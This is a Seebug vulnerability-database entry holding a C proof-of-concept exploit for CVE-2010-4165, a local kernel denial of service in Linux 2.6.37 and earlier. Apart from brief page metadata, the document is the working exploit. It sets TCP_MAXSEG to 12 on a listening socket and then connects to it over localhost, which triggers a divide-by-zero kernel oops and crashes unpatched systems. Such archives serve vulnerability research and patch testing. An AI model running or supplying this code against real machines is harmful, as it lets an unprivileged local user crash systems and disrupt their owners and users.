Lucene search

K
seebugRootSSV:70788
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel <= 2.6.37 Local Kernel Denial of Service

2014-07-0100:00:00
Root
www.seebug.org
12

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /* Linux Kernel &#60;= 2.6.37 local kernel DoS (CVE-2010-4165)
 * =======================================================
 * A divide by 0 error occurs in tcp_select_initial_window
 * when processing user supplied TCP_MAXSEG facilitating a
 * local denial-of-service condition (kernel oops!) in all
 * Linux Kernel 2.6.x branch (2.6.37 & below). This issue 
 * can be triggered easily with a call to setsockopt() on 
 * a listening network socket and then establishing a TCP
 * connection to the awaiting socket. 
 * 
 * -- prdelka
 *
 */
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;arpa/inet.h&#62;
#include &#60;netinet/tcp.h&#62;


int main() {
	int optval, optlen, ret, sd, sd2, pid;
	char *host = &#34;localhost&#34;;	
	struct sockaddr_in locAddr;
	struct sockaddr_in servAddr;
	struct sockaddr_in dstAddr;
	printf(&#34;[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n&#34;);	
	sd = socket(AF_INET, SOCK_STREAM, 0);
	memset(&servAddr,0,sizeof(servAddr));
	memset(&dstAddr,0,sizeof(dstAddr));
        servAddr.sin_family = AF_INET;
        servAddr.sin_port = htons(60000);
        servAddr.sin_addr.s_addr = INADDR_ANY;
	dstAddr.sin_family = AF_INET;
	inet_aton(&#34;127.0.0.1&#34;, &dstAddr.sin_addr);
	dstAddr.sin_port = htons(60000);
        if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){
                printf(&#34;[ Cannot bind listener service\n&#34;);
                exit(-1);
        }
	listen(sd,4);
	optval = 12;
	ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));
	if(ret==0)
	{
		printf(&#34;[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n&#34;);
		int sin_size = sizeof(struct sockaddr_in);
		switch(pid = fork())
		{
			case 0:
				sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);
				sleep(3);
			default:
				sd2 = socket(AF_INET, SOCK_STREAM, 0);
				connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));
				sleep(3);
		}
	}
	printf(&#34;[ System is patched, no dreams for this prince\n&#34;);
	return 0;
}